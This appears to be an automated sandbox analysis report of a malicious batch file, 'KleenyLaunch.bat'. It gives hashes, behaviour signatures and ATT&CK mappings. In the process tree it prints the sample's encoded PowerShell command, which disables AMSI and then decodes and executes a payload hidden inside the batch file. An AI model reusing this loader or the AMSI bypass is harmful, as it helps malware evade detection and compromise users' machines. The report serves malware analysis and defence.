2efbb0567f70b47d65ddfd1a685338300a15bdb986f914a3149a265c43d0a74a

Analysis

user interaction
yes
max time kernel
60s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
14/08/2026, 18:40

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General

Target
KleenyLaunch.bat
Size 1.3MB
Sample260814-xbpspaygla
SHA256 2efbb0567f70b47d65ddfd1a685338300a15bdb986f914a3149a265c43d0a74a
MD5 f5d5507c90cba76dd30cc1a68010face
SHA1 863214a0c81585b77ca9f30f0f20f1f293f5297c
SHA512 9762ad4114c49aad1b7f9bab242610ab6fc94e6d66775cb099ad0e78679b74dc889a340c053fc4abf32241d5f8b4167dc17e822bee0494f22af63b70e5cc5597
SSDEEP 24576:1JbENhK9KRJpus4Whuxzb5HrOmZxe7UVm7WIVsPtqIBhqiDAxDI/TOUhr8Itj:1WNhKiX4WhC/eQmOF5fDK6Vtj
TLSH
T1E3552330CA357E8106FC725A71BB3B49266ACE9BCBA5E5DEFF541853251CF12CA0261C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

execution

Malware Config

Signatures

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3668	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4920	powershell.exe
4920	powershell.exe
4920	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 4920	3668	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KleenyLaunch.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w h -ep bypass -enc dAByAHkAewAkAEwAeQBFAHUAMQB4AEkAYQA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAnACsAJwBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAHkAdABOAFcANAA0AGQAZwBnAD0AJABMAHkARQB1ADEAeABJAGEALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdAAnACsAJwBGAGEAaQBsAGUAZAAnACwANAAwACkAOwAkAHkAdABOAFcANAA0AGQAZwBnAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAfQBjAGEAdABjAGgAewB9ADsAJABDAE4AUABSADcARgA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEwAaQBuAGUAcwAoACQAZQBuAHYAOgBpAHUAeQBlACkAOwAkAG4AQQBEAHkAeABkAEoAbQA9ADAAOwAkAEQAcwBkAGoAagB1AE8AagBzAFUAPQAwADsAZgBvAHIAKAAkAG0AegA2AHcAMABaAFgAcQA9ADAAOwAkAG0AegA2AHcAMABaAFgAcQAtAGwAdAAgACQAQwBOAFAAUgA3AEYALgBDAG8AdQBuAHQAOwAkAG0AegA2AHcAMABaAFgAcQArACsAKQB7AGkAZgAoACQAQwBOAFAAUgA3AEYAWwAkAG0AegA2AHcAMABaAFgAcQBdAC0AZQBxACcAOgBCAEEAMgBGAEEARQA2ACcAKQB7ACQAbgBBAEQAeQB4AGQASgBtAD0AJABtAHoANgB3ADAAWgBYAHEAKwAxAH0AZQBsAHMAZQBpAGYAKAAkAEMATgBQAFIANwBGAFsAJABtAHoANgB3ADAAWgBYAHEAXQAtAGUAcQAnADoARQBEAEIAMgBFADYARAAnACkAewAkAEQAcwBkAGoAagB1AE8AagBzAFUAPQAkAG0AegA2AHcAMABaAFgAcQB9AH0AOwBpAGUAeAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJABDAE4AUABSADcARgBbACQAbgBBAEQAeQB4AGQASgBtAC4ALgAoACQARABzAGQAagBqAHUATwBqAHMAVQAtADEAKQBdAC0AagBvAGkAbgAnACcAKQApACkAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4920

C:\Windows\System32\DataExchangeHost.exe
C:\Windows\System32\DataExchangeHost.exe -Embedding
1⤵
PID:3424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_mn4cdnys.mpw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mn4cdnys.mpw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH